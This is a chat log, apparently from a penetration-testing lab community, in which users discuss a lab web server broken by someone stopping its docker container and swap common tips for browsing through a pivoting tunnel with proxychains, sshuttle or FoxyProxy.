I can't even connect to the webserver on admin its like is web server is dead on that machine 😦

wind bobcat
#

one thing people commonly do is stop the docker container running the web server

uncut umbra
#

...

#

great

wind bobcat
#

we can't do much about that other than advise you to request a reset

#

when users have root perms on machines, they tend to be able to break things

uncut umbra
#

lol, imagine that

timid moss
#

How do you pass HTTP traffic through the tunnel created for pivoting? Proxychains is set up, but I'm not sure how to set it up where I can browse the web as if I'm on the other machine.

minor flax
#

If you have proxychains you can proxychains your browser.

So on Kali
proxychains firefox

#

However, I'd really recommend getting sshuttle sorted, as it will be hell-ish later on without it

cinder notch
#

Couldn't you use FoxyProxy and configure it to work with whatever proxy (SOCKS4 or SOCKS5) you're using?